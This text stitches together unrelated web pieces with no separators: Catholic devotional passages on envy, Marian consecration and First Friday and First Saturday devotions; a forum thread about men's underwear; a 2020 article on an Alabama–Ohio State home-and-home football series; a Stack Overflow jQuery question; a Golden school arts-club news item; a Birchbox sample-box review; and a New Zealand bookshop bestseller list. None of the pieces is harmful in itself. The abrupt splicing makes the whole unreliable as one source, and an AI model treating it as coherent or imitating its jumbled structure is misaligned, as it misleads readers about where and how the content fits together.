Envy implies sorrow at the happiness and prosperity of our neighbour. For which reason the envious man is never without sadness or trouble. Are his neighbour's fields green and fertile? Is his house a happy one? Is he not lacking interior and spiritual happiness? All these signs of prosperity increase the illness and disturb the mind of the envious man. St. Basil tells of the evil effects of envy: "The envious man is hurt by the good fortune of a friend; the joy of his brothers causes him pain; he cannot look with favour on the riches of another and considers the prosperity of his neighbour as a misfortune for himself. If he wished to tell the truth, he would be forced to confess this; but since he does not wish to make it manifest, he keeps this hatred in his heart, where it gnaws away at his entrails." St. Basil, "Homily 11 on Envy"
What are the Capital Sins? There are seven capital sins: pride, covetousness, lust, anger, gluttony, envy, and sloth.
Which are the six sins against the Holy Ghost?
1.Presumption, 2. Despair, 3. Resisting the known truth, 4. Envy of another's spiritual good, 5. Obstinacy in sin, 6. Final impenitence (From The Penny Catechism
St. Maximilian Kolbe on Our Lady
"Let us entrust to the Immaculate our entire being, all the faculties of our soul, that is to say, our intellect, our memory and our will, all the faculties of our body, that is, all of our senses and each one individually, our strength, our health or our infirmity; let us entrust to Her our entire life and all of its events whether they be pleasing, displeasing or indifferent. Let us entrust to Her our death, in whatever moment, place or way it may happen. And lastly, let us entrust to Her all of our eternity." (SK #1331)
"All graces come to souls from the hands of the Mediatrix of all graces and there is not one instant in which new graces are not flowing into each soul: graces to enlighten the intellect, to fortify the will, to spur us on to do good; ordinary and extraordinary graces, graces directly regarding temporal life and the sanctification of the soul." (SK #1313)
The First Friday, 6 February 2015
Now is a good time to continue (or begin) the devotion to the "Nine First Fridays" of the Month. The Sacred Heart of Jesus promised to St. Margaret Mary: "I promise thee in the excessive mercy of My Heart that My all-powerful love will grant to all those who communicate on the First Friday in nine consecutive months, the grace of final penitence; they shall not die in My disgrace nor without receiving the Sacraments; My Divine heart shall be their safe refuge in this last moment." There is no better way of honouring the Most Sacred Heart of Jesus than in receiving Holy Communion on the "Nine First Fridays.".
Mission of the Immaculate Mediatrix
(MIM) 7 February 2015
On the First Saturday of every month, we will have our monthly formation program for those who interested in affiliating themselves with the Marian Spirituality of the Franciscan Friars of the Immaculate. The day begins at 9:30 AM and goes until 4 PM and includes two conferences, Holy Mass, adoration and the rosary. (see flyer on door)
This spirituality is Marian and Franciscan and includes the teachings of St. Francis of Assisi, St. Maximilian Kolbe and other Franciscan saints. "The fundamental aim of the MIM is the fulfilment of God's plan for the salvation and sanctification of all souls through the maternal mediation of the Immaculate to the supreme glory of the Most Holy Trinity." (Article 2: Statute)
It is most important at this time in our world to come together and learn about Our Lady and her messages especially Fatima. Pope John Paul II: On November 9, 1976 said in the USA as Karol Cardinal Wojtyla: "We are now standing in face of the greatest historical confrontation humanity has gone through. I do not think that the wide circles of American society or the wide circles of the Christian community realize this fully. We are now facing the final confrontation between the Church and the Anti-Church, of the Gospel versus the anti-gospel."
We hope that all of you will consider joining the MIM and work for your own sanctification and the sanctification of so many souls who are in danger of being lost for all eternity in hell as Our Lady said at Fatima.
The First Saturday:
7 February2014
Our Lady told Sr. Lucia in 1925 "…I promise to assist at the hour of death, with all the graces necessary for salvation, all those who, on the first Saturday of five consecutive months go to confession and receive Holy Communion, recite five decades of the Rosary and keep me company for a quarter of an hour while meditating on the mysteries of the Rosary, with the intention of making reparation to me." If only we would do what Our Lady asks, we would be assured of eternal salvation. Our Lady promises us all the graces necessary for our salvation if we keep The Five First Saturdays!

Sure... I'm a brief/boxer-brief guy myself. I like the support.
ahhh yeah well what i'm thinkin is.. maybe you could wear those trendy ones that all the guys a got happening now.
Hey I'm thinking of switching over to tighty whities. Its normal to me!
i prefer boxer-briefs because i hate boxers but don't really like whitie-tighties either..
Yes, boxers shouldn't be underwear. They're really shorts for Christ's sake.
Absolutely. I feel the same way.
Im a boxer-brief guy when i'm working. But if I'm just going out, gotta go comando.
The whole men's underwear question should be addressed in what's best for you. Medical Experts will tell you that boxers are the worse for a male to wear all the time. There is no support and once the male has reached manhood, it goes without saying the importance of support. Sport injury, normal injury is related to no support. While growing up most of men now in their 30's and up wore the traditional jockstrap for sporting events and games. The reason, support. Well now that fashion has entered the picture, men should be comfortable wearing what provides them the most support. Boxer's just don't. Briefs, boxerbriefs are the number one recommendation by the health care provider. Reason, support. Briefs are traditional been referred to as the " little boys" underwear, today men's briefs are available in all types and styles. No matter who makes them, briefs and boxerbriefs serve the main purpose, support. So if you are a brand name kinda of guy pay the price. If not the Walmart Hanes, Fruit of the loom all rank in style, comfort and support.
Its fine, underwear is all preference. I agree with you also I am much more comfortable now that I wear briefs again. I wore boxers for 10 years and decided to try briefs again and im so much more comfortable now, I dont know why or how I wore boxers that long.
That is compelety normal, I went through the same thing, and I'm loving my tighty whitys... and my leopard skin thong, but that's a different story.
I've been wearing briefs (tighty whities) since I was 5, I'm 23 now. They are really comfy.
Hipster style briefs for me during the day... but variety depending on the mood ;) No baggy boxers... they're just too much material and no support.
yeah ~ everything's normal these days.
It is what ever your use to and what works. Fashion has its trends and some guys just want to fit in. Some guys like briefs, some thongs, some boxers and even some like diapers, it is what ever fits and works. Each style has use and purpose.
My fiance buys most of my clothes now and she replaced all my boxers with tightey whities. what should I do ? I feel like im in fifth grade again wearing these.
Guys do you like wearing silk or satin boxers?
If I told you to put on your "Comfy Clothes", What would you be wearing?
How can it llok like i'm wearing eye shadow but i'm not?

Alabama, Ohio State Schedule Massive Home-And-Home Series
By John Duffley | June 19, 2020
In recent years, only a handful of college football teams sit comfortably at the top of the hill. You have the "little old" Clemson Tigers, as Dabo Swinney calls the multi-time national champions. Kirby Smart's Georgia Bulldogs are always close, but never quite put it all together. The Oklahoma Sooners and Lincoln Riley's high-powered Big 12 offense make national headlines, but as the old adage goes, defense wins championships.
As for the Alabama Crimson Tide and Ohio State Buckeyes? Only two words are necessary: sustained excellence.
As of the 2019 season, here are the SEC and Big Ten juggernauts' national rankings out of 130 FBS teams in a variety of categories that explain their dominance:
Most Weeks as AP No. 1 Team
Alabama: 1st (122)
Ohio State: 2nd (105)
Alabama: 6th (74)
Ohio State: 2nd (88)
First-Round NFL Draft Picks
Ohio State: 1st (84)
Claimed National Championships
Alabama: 2nd (17)
Ohio State T-8th (8)
Though these two powerhouses have only met four times over their long and storied histories, all that is about to change.
Get ready for Alabama vs. Ohio State on your college football schedule.
Ohio State welcomes Alabama for the first time to Columbus' Ohio Stadium on Sept. 18, 2027. The following year, Alabama plays host to another regular season game in Tuscaloosa on Sept. 9, 2028.

As previously mentioned, the Crimson Tide and Buckeyes don't have a deep history facing one another on the gridiron, but the neutral site games in which they did meet were massive.
The first came in the 1978 Sugar Bowl, when Woody Hayes' Buckeyes fell to Bear Bryant's Tide, 35-6. Alabama won again in the 1986 season opener, then a third-straight time at the 1995 Citrus Bowl. Both squads were ranked -- each no lower than No. 13 in the AP poll -- in all three of those meetings.
The most recent, and easily the most exciting, came during the 2015 Allstate Sugar Bowl. Nick Saban's dynasty fell to Urban Meyer's eventual national champion, 42-35, in the College Football Playoff Semifinal. OSU running back Ezekiel Elliot and linebacker Darron Lee were named the game's offensive and defensive MVPs, respectively.
2015 Allstate Sugar Bowl
RELATED: Alabama, West Virginia Set Home-and-Home Football Series
Diana Sabau, Ohio State Deputy Director of Athletics, expressed her excitement for the massive series via press release:
"We'd like to thank University of Alabama Director of Athletics Greg Byrne and Senior Deputy Director of Athletics Finus Gaston, who worked so hard with us to get this series scheduled. Building a non-conference schedule with tradition-rich programs is important to the competitive excellence of our program and the department, and it is great for our fans. We are excited for both schools and pleased to be able to share in this announcement today with the University of Alabama."
Alabama Athletic Director Greg Byrne commented on adding such a massive opponent to Alabama's oft-criticized non-conference schedule:
"This series with Ohio State adds another outstanding non-conference opponent to our future football schedules. We are thrilled at the progress we've made in securing such quality home-and-homes that will provide tremendous opportunities for our team and an exciting game day atmosphere for our fans in the coming years."
Head coach Nick Saban talked about the benefits an Alabama-Ohio State matchup will have on the "health of college football." He added, "I have coached a lot of years in the SEC and Big 10 and Bryant-Denny Stadium and Ohio Stadium are two of the very best environments in college football."
Yes, ESPN College GameDay will be there. Yes, the national title implications of this home-and-home will be massive. Yes, I am beyond excited and will have my attention no where else when this non-conference series begins.

Q: Target all Select fields not just first using JS/jQuery I have some code that changes the text of an option within a select field. I have multiple select fields on a page with variable IDs so I cannot target each one individually. At the moment i seem to only be targeting the first select field on the page however I need this to loop for each select field that is on the page. What have I missed?

$( document ).ready(function() {
// Change first option text on dropdowns
$("select").val($("select option:first").text('Please select an answer...').val());

// Set first option as selected
$("select option:first-child").attr("selected", true);

A: Use :nth-child() Selector instead of :first selector as it selects first matched element.

Selects all elements that are the nth-child of their parent.

$("select option:nth-child(1)").text('Please select an answer...').prop("selected", true);

Note:

Because jQuery's implementation of :nth- selectors is strictly derived from the CSS specification, the value of n is "1-indexed

OR, :first-child Selector
$("select option:first-child").text('Please select an answer...').prop("selected", true);

For the first time, KHC is conducting a program at the school, called the Kick Yourself Club.
Kicking Horse Culture is well into its fall and winter season and don't be surprised if there is a slightly younger audience out for its various shows and concerts over the next few months.
For the first time, KHC is conducting a program at the school, called the Kick Yourself Club, that is targeting high school students as a way to get them more involved with the arts and culture scene in Golden.
Krista Fouillard, a French teacher at Golden's elementary schools, is co-facilitating the program with fellow teacher Maggie Calladine.
One week before every show, the club will meet at Golden Secondary to analyze, discuss, and even act out the following week's act. On the night of the show, students who participated in the previous week's session will be given a V.I.P. ticket and will have a chance to meet and interact with the performers. As a keepsake, participants will have a passport that they can fill with autographs from each show.
Fouillard says they've had five to seven kids out for each session so far, but she hopes to see the program grow throughout the year as the word gets out.
Fouillard, who has performed at Summer Kicks in the past with her band Krista and the Krybabies, incorporates music into a lot of her French lessons.
She hopes the students that do sign up for the Kick Yourself Club will find it both educational and inspirational.
"Especially at this age, kids are still trying to figure out who they are going to be," she said.


Every month I look forward to my wonderful Birchbox! I am never 100% sure what day it will arrive, but I anticipate it every month around the 12th to 15th and anxiously check the mail! Birchbox is a company where you pay $10 a month and you get a box full of sample products! You sign up and fill out a beauty profile, and some of the products each month are directed towards that profile, and others are put in every box. Each month has a theme, and you get to give reviews of the products online for points. Every 100 points is worth $10. If you like some of the products in your box, you can purchase the full size online and use your points towards the prodcuts! You also earn points for purchasing the products through Birchbox. It really is a great deal and super fun to anticipate your box each month!
This month's box was all about spring training! They provided samples of products that will "tackle all of your lingering beauty annoyances." I was pretty excited about this box, but also a little bit disappointed. (I was hoping to get the LipSurgence lip tarte!) Each month is different, and I like some boxes more than others. This one was pretty good!
This month had an Ahava Essential Daily Moisturizer sample that contains Vitamin E and aloe vera. I like this product, however I can't stand the smell. Reminds me of an old lady I think. But it does feel great on the skin! I currently have way too many moisturizers open, so this one will be kept for later use.
This product is the Blemish Clearing Cleanser by Juice Beauty. I had never heard of their company before, so I am excited about this product. (I also used their last cleanser sample in the shower so I wouldn't have to keep moving my other one back and forth, and I just ran out of that sample! So great replacement!) It smells pretty good, very refreshing! Not to mention the wonderful aspect of clearing your skin! It is also all natural so it is packed full of goodness!
This product is super fun! Color Club Nail Lacquer in the color Jackie Oh! I absolutely love vibrant pinks, reds and corals for my nails, so this is awesome! I have been doing the UV Gel manicures on my fingernails lately, so this color will be for my pedicure. I am super excited to try it! I'm going to be putting it on my toes tonight! It's a great brand, so I have high expectations! It really is extremely bright/vibrant!
I am really excited to try this! I am loving hair oils right now, and loved the last sample they sent me, but am eager to try this one! This is Elixir Ultime by Kerastase. I have heard great things about this brand, and actually have been debating on buying this one or the Amika Obliphica treatment with my Birchbox points. This will be the final factor! If I really like it, I will get it! Hair oils are great for hydrating and smoothing your hair.
This is a small sample of the Annick Goutal Eau d'Hadrien perfume. It's alright. I don't think I will purchase a larger size of it, as it's just not really my taste. I tend to like stronger more distinct scents, and this is a bit too light for me. It features lemon, grapefruit, and green mandarin scents. Just a bit too citrusy/light for me.
This is a bonus sample in this month's Birchbox! Tea Forte's Skin-Smart Teas in three flavors. This tea is full of rich antioxidants and formulated to revive your skin with nutrients. I am excited for two out of the three flavors….cucumber mint, and a honey flavor….not so excited for the cherry…. Still a fun idea!
I encourage you to check out and sign up for Birchbox! I love getting this surprise every month! :) If you already have Birchbox, what do you think? Birchbox also has a blog I follow as well!
It's $10 a month or you can pay a yearly subscription. I think its 100% worth the $10. I personally love trying samples and new products, but there's no sense in purchasing a full-size of a product you aren't sure you will like. This company provides me with samples each month, some even full-size, and often by companies I haven't heard of! Not to mention I earn points towards products each month when I review what they sent me.

The only published and available best-selling indie book chart in New Zealand is the top 10 sales list recorded every week at Unity Books' stores in High St, Auckland, and Willis St, Wellington.
1 A Sharp Left Turn by Mike Chunn (Allen & Unwin, $45)
"Oh bugger it! I might as well just pour it all out" – Chunn to radio station The Sound.
2 The Book of Dust: The Secret Commonwealth by Philip Pullman (Penguin Random House, $35)
Michelle Langstone, on Twitter: "Sometimes I think about the part in the His Dark Materials trilogy when you realise the children are being forcibly cut away from their daemons, and I remember how I cried so hard that I spewed. Good times. After that I didn't let my cat out of my sight for months."
3 Rebuilding the Kāinga: Lessons from Te Ao Hurihuri, by Jade Kake (Bridget Williams Books, $15)
"I looked over to the port, to the city, to our mountain Parihaka, and to Manaia. And I thought: "The future is going to be very different, because I'm going to rebuild our kāinga so we can reoccupy our whenua, and together we're going to change the built environment for the better so that the mauri of our harbour is restored, and our identity as tangata whenua is evident in our city.""
4 The Testaments by Margaret Atwood (Chatto & Windus, $48)
Potentially, quite possibly, a day away from winning the Booker.
5 The Body: A Guide for Occupants by Bill Bryson (Doubleday, $55)
"The single most astounding thing I found was that if you took all your DNA and formed it into a single fine strand, it would stretch to Pluto. I don't think I've ever come across a fact that blew me away more than that – that there's enough of me or you or anyone else to stretch to Pluto. There's 10 billion miles of DNA inside you. That just seems unbelievable." – the author, interviewed by The Washington Post.
6 The Year of the Monkey by Patti Smith (Bloomsbury, $33)
"At her best, her prose reads like Smith verbally riffing between songs onstage with her guitarist pal Lenny Kaye, burning up nights with rock poetry." – the New York Times.
7 Before the Coffee Gets Cold by Toshikazu Kawaguchi (Picador, $20)
"Think magical realism set in a Tokyo cafe. But in classic Japanese fashion, the magic is hemmed in by protocol." – the Japan Times.
8 Talking to Strangers: what we should know about the people we don't know by Malcolm Gladwell (Allen Lane, $40)
"Gladwell often builds his arguments from other peoples' sketchy statistical manipulations and the far-fetched results he's managed to cull from social-science journals. The data, taken uncritically, served to buttress anecdotes that were intended to dramatize some general truth about the human animal. What's new in Talking to Strangers is that Gladwell doesn't use these bits of pseudo-science to point to any larger lessons. It seems he's no longer trying to explain much of anything." – the Atlantic, in an exquisitely savage review that is well worth reading in full.
9 Cockroach by Ian McEwan (Vintage, $20)
"The set up is that a cockroach wakes up in No 10 after a big night, finds it is a hungover and very Boris-like prime minister, and, once it gets used to the unpleasant feeling of having an internal skeleton and a fleshy tongue in its mouth, sets about steering the UK into a popularly acclaimed national disaster. The bug is helped by the intuitive discovery – something to do with the pheromonal cockroach hivemind, I guess – that most of the cabinet are also now secretly cockroaches." – whaaaaaat TAF, via the Guardian.
10 Lifespan: Why We Age and Why We Don't Have To by David Sinclair (HarperCollins, $35)
I read that as a quite terrifying title?
1 We Are Here: An Atlas of Aotearoa by Chris McDowall & Tim Denee (Massey University Press, $70)
Data as poetry, as art, as cartography. A revelation. Buy it for everyone for Christmas.
6 The Dutch House by Ann Patchett (Bloomsbury, $33)
"The book was going to be called Maeve, and because I own a bookstore, I really did understand that The Dutch House was a much better title. The words Dutch and house have the same number of letters; I knew it would look really good. To me, the house is just symbolic of the life. It's a book about wealth and poverty, and the sort of whiplash of going back and forth between those two states." – the author, to Time.
7 The Absolute Book by Elizabeth Knox (Victoria University Press, $35)
"Much of the forest was now only a mass of crisscrossing heaps of live coals. Some oaks still stood, shorn of all but their thickest limbs. Others leaned like fallen warriors on their branch arms, as if trying to get up again … There was nowhere to stand in all those seething, smoking miles. The riverbed stank of scorched waterweed."
8 The Anarchy: the relentless rise of the East India Company by William Dalrymple (Bloomsbury, $33)
"A resonant denunciation of corporate rapacity and the governments that enable it." – the Guardian.
9 No One Is Too Small To Make A Difference by Greta Thunberg (Penguin, $8)
A very happy young girl looking forward to a bright and wonderful future.
10 Three Women by Lisa Taddeo (Bloomsbury, $35)
"And that's when it happens, the most romantic kiss in the history of the world. He moves his palm to her cheek, slowly and unsurely, like the boy that he still is even though he's more of a man than anyone else she knows, and she gets hot across her whole face …
Aidan, she breathes into his mouth.
What's up, Kid."
